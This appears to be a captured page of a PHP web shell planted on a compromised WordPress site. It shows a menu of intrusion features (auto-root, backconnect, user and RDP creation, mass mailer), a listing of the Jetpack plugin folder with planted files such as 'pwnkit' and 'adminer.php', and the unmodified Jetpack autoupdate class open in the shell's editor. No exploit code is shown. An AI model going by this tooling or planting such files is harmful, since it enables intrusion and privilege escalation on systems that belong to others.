Linux webm006.cluster103.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.103.20.6 | : 216.73.216.183
Cant Read [ /etc/named.conf ]
5.4.45
formahte
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
formahte /
www /
wp-content /
plugins /
jetpack /
[ HOME SHELL ]
Name
Size
Permission
Action
3rd-party
[ DIR ]
drwxr-xr-x
_inc
[ DIR ]
drwxr-xr-x
bin
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
json-endpoints
[ DIR ]
drwxr-xr-x
languages
[ DIR ]
drwxr-xr-x
modules
[ DIR ]
drwxr-xr-x
sal
[ DIR ]
drwxr-xr-x
scss
[ DIR ]
drwxr-xr-x
sync
[ DIR ]
drwxr-xr-x
views
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
.svnignore
151
B
-rw-r--r--
adminer.php
0
B
-rw-r--r--
changelog.txt
120.31
KB
-rw-r--r--
class.frame-nonce-preview.php
2.18
KB
-rw-r--r--
class.jetpack-admin.php
8.26
KB
-rw-r--r--
class.jetpack-autoupdate.php
6.79
KB
-rw-r--r--
class.jetpack-bbpress-json-api...
2.94
KB
-rw-r--r--
class.jetpack-cli-call.php
25.22
KB
-rw-r--r--
class.jetpack-cli.php
20.53
KB
-rw-r--r--
class.jetpack-client-server.ph...
8.31
KB
-rw-r--r--
class.jetpack-client.php
10.3
KB
-rw-r--r--
class.jetpack-connection-banne...
24.73
KB
-rw-r--r--
class.jetpack-constants.php
2.35
KB
-rw-r--r--
class.jetpack-data.php
4.37
KB
-rw-r--r--
class.jetpack-debugger.php
19.68
KB
-rw-r--r--
class.jetpack-error.php
47
B
-rw-r--r--
class.jetpack-heartbeat.php
4.51
KB
-rw-r--r--
class.jetpack-idc.php
19.76
KB
-rw-r--r--
class.jetpack-ixr-client.php
3.2
KB
-rw-r--r--
class.jetpack-jitm.php
17.71
KB
-rw-r--r--
class.jetpack-modules-list-tab...
11.12
KB
-rw-r--r--
class.jetpack-network-first.ph...
546
B
-rw-r--r--
class.jetpack-network-sites-li...
4.26
KB
-rw-r--r--
class.jetpack-network.php
22.98
KB
-rw-r--r--
class.jetpack-options.php
10.72
KB
-rw-r--r--
class.jetpack-post-images.php
17.62
KB
-rw-r--r--
class.jetpack-signature.php
8.29
KB
-rw-r--r--
class.jetpack-tracks.php
2.87
KB
-rw-r--r--
class.jetpack-twitter-cards.ph...
8.84
KB
-rw-r--r--
class.jetpack-user-agent.php
45.94
KB
-rw-r--r--
class.jetpack-xmlrpc-server.ph...
16.02
KB
-rw-r--r--
class.jetpack.php
205.39
KB
-rw-r--r--
class.json-api-endpoints.php
60.81
KB
-rw-r--r--
class.json-api.php
19.27
KB
-rw-r--r--
class.photon.php
33.33
KB
-rw-r--r--
composer.json
345
B
-rw-r--r--
functions.compat.php
2.38
KB
-rw-r--r--
functions.gallery.php
2.26
KB
-rw-r--r--
functions.global.php
260
B
-rw-r--r--
functions.opengraph.php
15.48
KB
-rw-r--r--
functions.photon.php
8.49
KB
-rw-r--r--
jetpack.php
5.72
KB
-rw-r--r--
json-api-config.php
255
B
-rw-r--r--
json-endpoints.php
132.2
KB
-rw-r--r--
locales.php
59.55
KB
-rw-r--r--
pwnkit
0
B
-rwxr-xr-x
readme.txt
15.87
KB
-rw-r--r--
require-lib.php
982
B
-rw-r--r--
rest-api.md
6.14
KB
-rw-r--r--
uninstall.php
830
B
-rw-r--r--
webpack.config.js
3.13
KB
-rw-r--r--
wpml-config.xml
213
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class.jetpack-autoupdate.php
<?php /** * Handles items that have been selected for automatic updates. * Hooks into WP_Automatic_Updater */ class Jetpack_Autoupdate { private $results = array(); private $expected = array(); private $success = array( 'plugin' => array(), 'theme' => array(), ); private $failed = array( 'plugin' => array(), 'theme' => array(), ); private static $instance = null; static function init() { if ( is_null( self::$instance ) ) { self::$instance = new Jetpack_Autoupdate; } return self::$instance; } private function __construct() { if ( Jetpack::is_module_active( 'manage' ) ) { add_filter( 'auto_update_plugin', array( $this, 'autoupdate_plugin' ), 10, 2 ); add_filter( 'auto_update_theme', array( $this, 'autoupdate_theme' ), 10, 2 ); add_filter( 'auto_update_core', array( $this, 'autoupdate_core' ), 10, 2 ); add_action( 'automatic_updates_complete', array( $this, 'automatic_updates_complete' ), 999, 1 ); } } public function autoupdate_plugin( $update, $item ) { $autoupdate_plugin_list = Jetpack_Options::get_option( 'autoupdate_plugins', array() ); if ( in_array( $item->plugin, $autoupdate_plugin_list ) ) { $this->expect( $item->plugin, 'plugin' ); return true; } return $update; } public function autoupdate_theme( $update, $item ) { $autoupdate_theme_list = Jetpack_Options::get_option( 'autoupdate_themes', array() ); if ( in_array( $item->theme , $autoupdate_theme_list) ) { $this->expect( $item->theme, 'theme' ); return true; } return $update; } public function autoupdate_core( $update, $item ) { $autoupdate_core = Jetpack_Options::get_option( 'autoupdate_core', false ); if ( $autoupdate_core ) { return $autoupdate_core; } return $update; } /** * Stores the an item identifier to the expected array. * * @param string $item Example: 'jetpack/jetpack.php' for type 'plugin' or 'twentyfifteen' for type 'theme' * @param string $type 'plugin' or 'theme' */ private function expect( $item, $type ) { if ( ! isset( $this->expected[ $type ] ) ) { $this->expected[ $type ] = array(); } $this->expected[ $type ][] = $item; } /** * On completion of an automatic update, let's store the results. * * @param $results - Sent by WP_Automatic_Updater after it completes an autoupdate action. Results may be empty. */ public function automatic_updates_complete( $results ) { if ( empty( $this->expected ) ) { return; } $this->results = empty( $results ) ? self::get_possible_failures() : $results; add_action( 'shutdown', array( $this, 'bump_stats' ) ); Jetpack::init(); $items_to_log = array( 'plugin', 'theme' ); foreach( $items_to_log as $items ) { $this->log_items( $items ); } Jetpack::log( 'autoupdates', $this->get_log() ); } public function get_log() { return array( 'results' => $this->results, 'failed' => $this->failed, 'success' => $this->success ); } /** * Iterates through expected items ( plugins or themes ) and compares them to actual results. * * @param $items 'plugin' or 'theme' */ private function log_items( $items ) { if ( ! isset( $this->expected[ $items ] ) ) { return; } $item_results = $this->get_successful_updates( $items ); if ( is_array( $this->expected[ $items ] ) ) { foreach( $this->expected[ $items ] as $item ) { if ( in_array( $item, $item_results ) ) { $this->success[ $items ][] = $item; } else { $this->failed[ $items ][] = $item; } } } } public function bump_stats() { $instance = Jetpack::init(); $log = array(); // Bump numbers if ( ! empty( $this->success['plugin'] ) ) { $instance->stat( 'autoupdates/plugin-success', count( $this->success['plugin'] ) ); $log['plugins_success'] = $this->success['plugin']; } if ( ! empty( $this->failed['plugin'] ) ) { $instance->stat( 'autoupdates/plugin-fail', count( $this->failed['plugin'] ) ); $log['plugins_failed'] = $this->failed['plugin']; } if ( ! empty( $this->success['theme'] ) ) { $instance->stat( 'autoupdates/theme-success', count( $this->success['theme'] ) ); $log['themes_success'] = $this->success['theme']; } if ( ! empty( $this->failed['theme'] ) ) { $instance->stat( 'autoupdates/theme-fail', count( $this->failed['theme'] ) ); $log['themes_failed'] = $this->failed['theme']; } $instance->do_stats( 'server_side' ); // Send a more detailed log to logstash if ( ! empty( $log ) ) { Jetpack::load_xml_rpc_client(); $xml = new Jetpack_IXR_Client( array( 'user_id' => get_current_user_id() ) ); $log['blog_id'] = Jetpack_Options::get_option( 'id' ); $xml->query( 'jetpack.debug_autoupdate', $log ); } } /** * Parses the autoupdate results generated by WP_Automatic_Updater and returns a simple array of successful items * * @param string $type 'plugin' or 'theme' * * @return array */ private function get_successful_updates( $type ) { $successful_updates = array(); if ( ! isset( $this->results[ $type ] ) ) { return $successful_updates; } foreach( $this->results[ $type ] as $result ) { if ( $result->result ) { switch( $type ) { case 'theme': $successful_updates[] = $result->item->theme; break; case 'plugin': $successful_updates[] = $result->item->plugin; } } } return $successful_updates; } static function get_possible_failures() { $result = array(); // Lets check some reasons why it might not be working as expected include_once( ABSPATH . '/wp-admin/includes/admin.php' ); include_once( ABSPATH . '/wp-admin/includes/class-wp-upgrader.php' ); $upgrader = new WP_Automatic_Updater; if ( $upgrader->is_disabled() ) { $result[] = 'autoupdates-disabled'; } if ( ! is_main_site() ) { $result[] = 'is-not-main-site'; } if ( ! is_main_network() ) { $result[] = 'is-not-main-network'; } if ( $upgrader->is_vcs_checkout( ABSPATH ) ) { $result[] = 'site-on-vcs'; } if ( $upgrader->is_vcs_checkout( WP_PLUGIN_DIR ) ) { $result[] = 'plugin-directory-on-vcs'; } if ( $upgrader->is_vcs_checkout( WP_CONTENT_DIR ) ) { $result[] = 'content-directory-on-vcs'; } $lock = get_option( 'auto_updater.lock' ); if ( $lock > ( time() - HOUR_IN_SECONDS ) ) { $result[] = 'lock-is-set'; } $skin = new Automatic_Upgrader_Skin; include_once( ABSPATH . 'wp-admin/includes/file.php' ); include_once( ABSPATH . 'wp-admin/includes/template.php' ); if ( ! $skin->request_filesystem_credentials( false, ABSPATH, false ) ) { $result[] = 'no-system-write-access'; } if ( ! $skin->request_filesystem_credentials( false, WP_PLUGIN_DIR, false ) ) { $result[] = 'no-plugin-directory-write-access'; } if ( ! $skin->request_filesystem_credentials( false, WP_CONTENT_DIR, false ) ) { $result[] = 'no-wp-content-directory-write-access'; } return $result; } } Jetpack_Autoupdate::init();
Close